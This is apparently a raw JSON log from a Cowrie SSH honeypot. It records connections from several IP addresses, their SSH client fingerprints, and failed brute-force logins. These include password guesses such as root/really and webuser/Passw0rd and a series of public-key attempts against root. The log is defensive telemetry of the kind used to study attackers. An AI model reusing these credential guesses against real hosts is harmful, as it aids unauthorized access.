{"eventid":"cowrie.login.failed","username":"root","password":"really","message":"login attempt [root/really] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:56.037340Z","src_ip":"87.251.79.125","session":"8401ef07f31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:57.107076Z","src_ip":"87.251.79.125","session":"8401ef07f31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":42986,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d5da104ed77","protocol":"ssh","message":"New connection: 117.121.214.50:42986 (10.17.0.5:22) [session: 1d5da104ed77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:39.128909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:39.132298Z","src_ip":"117.121.214.50","session":"1d5da104ed77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:39.372614Z","src_ip":"117.121.214.50","session":"1d5da104ed77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"Passw0rd","message":"login attempt [webuser/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:40.370005Z","src_ip":"117.121.214.50","session":"1d5da104ed77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:41.615780Z","src_ip":"117.121.214.50","session":"1d5da104ed77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":41926,"dst_ip":"10.17.0.5","dst_port":22,"session":"d73108967db4","protocol":"ssh","message":"New connection: 148.153.245.161:41926 (10.17.0.5:22) [session: d73108967db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.636361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.640476Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.683065Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:c0:f2:0e:48:2a:68:6d:1d:2d:bd:c1:2d:da:53:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn5NRD8liJOgkMrT2mG05Ha/ix4iW/bAwDAhprXtAhOylaiAvVQd9PdZB/CP6d5jL4C2ZLuRgh8nyc34Oylz3OJU/OAZO3GxGrlHDP6bzFsc0JtnjHb/p3gkrLQzeGx+gwcMcSLBI92+dv1OEedI6AWxxg06XjuiBnOJ6u0c4/erpMRLZbGmfcsPGug84M6YYAFBaJGoqsyrt3oGQ8KNT6S3xKqe+2I3y0sW0HWozWaPMc+q5czZhCsIjZX0OCFmlmcu3jPWpDrY0VeCoHspTP7AkM5aJKHHiQCIagJMpqtj4//J9+8Z99JNeA7d5khxFPuIiOXPMkC7xKcPwtjSdEy6mNT76pjRQHxXFrShh6LkeNE4S/v/5duYi9MCx0bi9zwwWTza/gqp9nqA2n/V7pXRJoTlcTk9XPP1hdv2kdrx25UUJDCPT0kZC8HVGU4lSJkfs3VoDzptBjrbLaSTBBXW4w7y3LEd1UhTe788IokdR0JMI4GxWC4DQKOqRBKLPjSQhze3zKGtEhhmhU7jo0Q1dBUxx/k+S+ajD+HW7fExlkjw0HVEowy1tH0P7pAtH0HSpwmUpsWU7NgU21blo+VsxXtNg/jdXg4xDjOiDfnzJbZdJPaxS49SNEGLJ9yFCwqY3WiFgTvCms1HsStfvYXndFUquVeUce5Vj7GbLGSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:c0:f2:0e:48:2a:68:6d:1d:2d:bd:c1:2d:da:53:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.875663Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:c0:f2:0e:48:2a:68:6d:1d:2d:bd:c1:2d:da:53:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn5NRD8liJOgkMrT2mG05Ha/ix4iW/bAwDAhprXtAhOylaiAvVQd9PdZB/CP6d5jL4C2ZLuRgh8nyc34Oylz3OJU/OAZO3GxGrlHDP6bzFsc0JtnjHb/p3gkrLQzeGx+gwcMcSLBI92+dv1OEedI6AWxxg06XjuiBnOJ6u0c4/erpMRLZbGmfcsPGug84M6YYAFBaJGoqsyrt3oGQ8KNT6S3xKqe+2I3y0sW0HWozWaPMc+q5czZhCsIjZX0OCFmlmcu3jPWpDrY0VeCoHspTP7AkM5aJKHHiQCIagJMpqtj4//J9+8Z99JNeA7d5khxFPuIiOXPMkC7xKcPwtjSdEy6mNT76pjRQHxXFrShh6LkeNE4S/v/5duYi9MCx0bi9zwwWTza/gqp9nqA2n/V7pXRJoTlcTk9XPP1hdv2kdrx25UUJDCPT0kZC8HVGU4lSJkfs3VoDzptBjrbLaSTBBXW4w7y3LEd1UhTe788IokdR0JMI4GxWC4DQKOqRBKLPjSQhze3zKGtEhhmhU7jo0Q1dBUxx/k+S+ajD+HW7fExlkjw0HVEowy1tH0P7pAtH0HSpwmUpsWU7NgU21blo+VsxXtNg/jdXg4xDjOiDfnzJbZdJPaxS49SNEGLJ9yFCwqY3WiFgTvCms1HsStfvYXndFUquVeUce5Vj7GbLGSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.878484Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:3d:eb:17:49:d4:7f:73:40:1c:f5:ad:dd:36:73:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmzyy/0j7e1evB0U1476ZupUxXMl6MIsNByIwztswEGH9zqt8zEZMk501mUea5AWGcZdIzCYPOeBEOV8J7VbQqECTuntCdESso6ShSLXaPc7sX8BJrUKZWOrchrlB+mA/vUBdYjtGASFK0NXWqqpSjvCwxuOuvcxCsZ2wTbkiYGkjfkwYX8IAI4xDZDQDljLMYtYDPWNhvZAX0dIkWv/UzSdbM2nuP8XXtd8+LRbKTwGsl58WXFdkx2A3r+IWCIsyhhIjA2FjaYMs12xnjtr4uqXOxh0OuIR84IHtw/y0Xnnzvs3K6bXg7/AgcCYI/T34QzPxh5uCmfuo9v7acebtv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:3d:eb:17:49:d4:7f:73:40:1c:f5:ad:dd:36:73:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.920920Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:3d:eb:17:49:d4:7f:73:40:1c:f5:ad:dd:36:73:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmzyy/0j7e1evB0U1476ZupUxXMl6MIsNByIwztswEGH9zqt8zEZMk501mUea5AWGcZdIzCYPOeBEOV8J7VbQqECTuntCdESso6ShSLXaPc7sX8BJrUKZWOrchrlB+mA/vUBdYjtGASFK0NXWqqpSjvCwxuOuvcxCsZ2wTbkiYGkjfkwYX8IAI4xDZDQDljLMYtYDPWNhvZAX0dIkWv/UzSdbM2nuP8XXtd8+LRbKTwGsl58WXFdkx2A3r+IWCIsyhhIjA2FjaYMs12xnjtr4uqXOxh0OuIR84IHtw/y0Xnnzvs3K6bXg7/AgcCYI/T34QzPxh5uCmfuo9v7acebtv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.923133Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:17:ac:af:dc:35:27:08:9d:58:53:52:11:eb:19:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm6vgqI47bvkHeGefF0eDNyGFxaK+uTuGZsJGLvo0biPdblw1UMmtDSk7WQXjXsMTrKpAFW+TBi+0/9l1YYEfODf4MZ7k7zJXqfw5madIu0rJIyQrHi9eOM994fZh0U9uMLpE56WUItHVgdzxUdCJ+QZT/GkziQgFzrzFSe9frXSPzrFsJBM9VIJZYV59bG/GsZros2XYHTWLTmUln7v9FP4MvSooW9Pl/s5UWDAnYFVUbEjx7ckLW2LBOfD3HVgDLIDhfBSCfbWZitC4rlhJsz6w0Pk0k8mPnoR3W0KN5pNFoWz7eCYUpTwdF1xB+3Adu8eH76JWWTVGLA5BtCGgf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:17:ac:af:dc:35:27:08:9d:58:53:52:11:eb:19:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.971897Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:17:ac:af:dc:35:27:08:9d:58:53:52:11:eb:19:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm6vgqI47bvkHeGefF0eDNyGFxaK+uTuGZsJGLvo0biPdblw1UMmtDSk7WQXjXsMTrKpAFW+TBi+0/9l1YYEfODf4MZ7k7zJXqfw5madIu0rJIyQrHi9eOM994fZh0U9uMLpE56WUItHVgdzxUdCJ+QZT/GkziQgFzrzFSe9frXSPzrFsJBM9VIJZYV59bG/GsZros2XYHTWLTmUln7v9FP4MvSooW9Pl/s5UWDAnYFVUbEjx7ckLW2LBOfD3HVgDLIDhfBSCfbWZitC4rlhJsz6w0Pk0k8mPnoR3W0KN5pNFoWz7eCYUpTwdF1xB+3Adu8eH76JWWTVGLA5BtCGgf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:44.974550Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a9:af:c5:44:95:cc:34:6c:92:61:29:83:a0:c0:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvY2q2M0oEPDMb2gUpU7fW725BqIReJGB7miEI3mstcOT9uqn1/anvcrPAtpTKKFCdOpoEVDSGIKfIG539SVAOJ52UJ3tPQJe5CCLdvSWbfB/hWlrHv6oZDto0egyYRHfdPs/k1BHp64IIzkxU9ARWeuktvZXCV6A0rofKgvhiOLLo/iiua8sl171WVmV0hPAMMtH5FzthCyOE3pvUPgRr3dmbiWNhG2bJDEytKtj0i8aXlYRqHkmbuu46xPOAKRnhVLeKXg1HjbOXdFh/zuu9okr0HUcCHtNUcX8gs0R5KS9fcXEX18uTJmGK3CuS8/OZxTk9f7uqXbDCpzs7S5mF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a9:af:c5:44:95:cc:34:6c:92:61:29:83:a0:c0:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:45.016730Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a9:af:c5:44:95:cc:34:6c:92:61:29:83:a0:c0:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvY2q2M0oEPDMb2gUpU7fW725BqIReJGB7miEI3mstcOT9uqn1/anvcrPAtpTKKFCdOpoEVDSGIKfIG539SVAOJ52UJ3tPQJe5CCLdvSWbfB/hWlrHv6oZDto0egyYRHfdPs/k1BHp64IIzkxU9ARWeuktvZXCV6A0rofKgvhiOLLo/iiua8sl171WVmV0hPAMMtH5FzthCyOE3pvUPgRr3dmbiWNhG2bJDEytKtj0i8aXlYRqHkmbuu46xPOAKRnhVLeKXg1HjbOXdFh/zuu9okr0HUcCHtNUcX8gs0R5KS9fcXEX18uTJmGK3CuS8/OZxTk9f7uqXbDCpzs7S5mF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:45.019362Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:e4:e5:f9:38:5e:6d:20:a0:b7:28:40:e9:d8:29:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlJ4jYSB6h7YErCjGy61612gBUDoD+/svpi40w+ORfEsIVGyCeSYVRR29Um2SGOGpkiCa/AogaMAuRkvfbzBqZOQblmIAwEBq7//j2LHfnzc55PEJfBAznIzDQZzflOf+iVUErQ2QWCurIUHaP4fVy17WIeIDVw7l7GXLkSsi9s66ursDSw60uvO1S1eu/Yft4meOSHia/9McBt4mt+Ch+VqELlY/n84xP5+vtk0++bzK4ygpfWLciP3BvqUJ1zApi5M2w1gt/P6r4IAiBnV1QYWeDvgFd7dfVlyE9o8ziKC8DAzQ6nLW6hGPCpRbw1Ccjcy0dp+yHiTR6PJ5Mel9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:e4:e5:f9:38:5e:6d:20:a0:b7:28:40:e9:d8:29:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:45.060688Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:e4:e5:f9:38:5e:6d:20:a0:b7:28:40:e9:d8:29:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlJ4jYSB6h7YErCjGy61612gBUDoD+/svpi40w+ORfEsIVGyCeSYVRR29Um2SGOGpkiCa/AogaMAuRkvfbzBqZOQblmIAwEBq7//j2LHfnzc55PEJfBAznIzDQZzflOf+iVUErQ2QWCurIUHaP4fVy17WIeIDVw7l7GXLkSsi9s66ursDSw60uvO1S1eu/Yft4meOSHia/9McBt4mt+Ch+VqELlY/n84xP5+vtk0++bzK4ygpfWLciP3BvqUJ1zApi5M2w1gt/P6r4IAiBnV1QYWeDvgFd7dfVlyE9o8ziKC8DAzQ6nLW6hGPCpRbw1Ccjcy0dp+yHiTR6PJ5Mel9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:45.063966Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:45.107955Z","src_ip":"148.153.245.161","session":"d73108967db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.161","src_port":36046,"dst_ip":"10.17.0.5","dst_port":22,"session":"707048b9661f","protocol":"ssh","message":"New connection: 208.87.242.161:36046 (10.17.0.5:22) [session: 707048b9661f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.334663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.338769Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.408128Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:d1:e5:00:0a:6f:ca:3a:a9:50:5b:cd:07:94:f5:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8HkFQAcMx/e6a5KH0CCvKzsH8e9pSNoPcL7W7RHImKtm2bTOeMzER02oGfSFc+n7Vbz8nrHEpVsnX+ibDwn/VKqf6sPtyotVghWU6D+tCt3FRLjPYyVv18Lsf8trR7rbvv4JNLV4hTN0XytTdYI+o+UECe+ji6BXGBjAMS1EJuVS6EbVckRA4cJiBy97qq0XabQ3yVXbbXhaqtaJ81WWdxkzloLgh47T9NmQMpgrguI7vyRBhuDF6QHAh2Kd6SpVbJCXNS7ptwob+o+BUBObllfDc8OKNXZQv1152jCsLF4pAmTUoUBHoeiFEWuyd7xUJHu3tfe3uB91XgMsOwhVaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:d1:e5:00:0a:6f:ca:3a:a9:50:5b:cd:07:94:f5:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.730549Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:d1:e5:00:0a:6f:ca:3a:a9:50:5b:cd:07:94:f5:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8HkFQAcMx/e6a5KH0CCvKzsH8e9pSNoPcL7W7RHImKtm2bTOeMzER02oGfSFc+n7Vbz8nrHEpVsnX+ibDwn/VKqf6sPtyotVghWU6D+tCt3FRLjPYyVv18Lsf8trR7rbvv4JNLV4hTN0XytTdYI+o+UECe+ji6BXGBjAMS1EJuVS6EbVckRA4cJiBy97qq0XabQ3yVXbbXhaqtaJ81WWdxkzloLgh47T9NmQMpgrguI7vyRBhuDF6QHAh2Kd6SpVbJCXNS7ptwob+o+BUBObllfDc8OKNXZQv1152jCsLF4pAmTUoUBHoeiFEWuyd7xUJHu3tfe3uB91XgMsOwhVaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.733846Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:93:a1:c3:4c:5a:b4:a7:28:4c:ef:0a:83:1b:24:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7DTw7e/a5Myi2Ilh70JwLvOAAInJdQ7aV0y4tD1B2EKQxm+NMyDtwyUIrXRHxBTve41mSgh/+DtkB4VuXMzyo6J5MOrKUbRgpoukIVdhkJiBC4eU7kudVxiVGtvxjZ/HAz3wAOaS+m2Y7FGnhC1VLlSg3GswfioVqgXBd8r/hCKDZEXVXBp17VG2ZL5TmWNX7Hva4zpf7FutRfgmmAZ3w3f70SqhQ9puhRAzqvPfdrQCaEY7Sj5LQ1rJtlzGOuj2fXzSa+oExLofnlmUCiJWYfnTusblIre1Wztte8+x8cEbCTyxJV7VaIQLwdaPhqbAyjllpwnBisyGDimofNYVzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:93:a1:c3:4c:5a:b4:a7:28:4c:ef:0a:83:1b:24:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.803659Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:93:a1:c3:4c:5a:b4:a7:28:4c:ef:0a:83:1b:24:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7DTw7e/a5Myi2Ilh70JwLvOAAInJdQ7aV0y4tD1B2EKQxm+NMyDtwyUIrXRHxBTve41mSgh/+DtkB4VuXMzyo6J5MOrKUbRgpoukIVdhkJiBC4eU7kudVxiVGtvxjZ/HAz3wAOaS+m2Y7FGnhC1VLlSg3GswfioVqgXBd8r/hCKDZEXVXBp17VG2ZL5TmWNX7Hva4zpf7FutRfgmmAZ3w3f70SqhQ9puhRAzqvPfdrQCaEY7Sj5LQ1rJtlzGOuj2fXzSa+oExLofnlmUCiJWYfnTusblIre1Wztte8+x8cEbCTyxJV7VaIQLwdaPhqbAyjllpwnBisyGDimofNYVzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:28:58.806771Z","src_ip":"208.87.242.161","session":"707048b9661f","protocol":"ssh"}
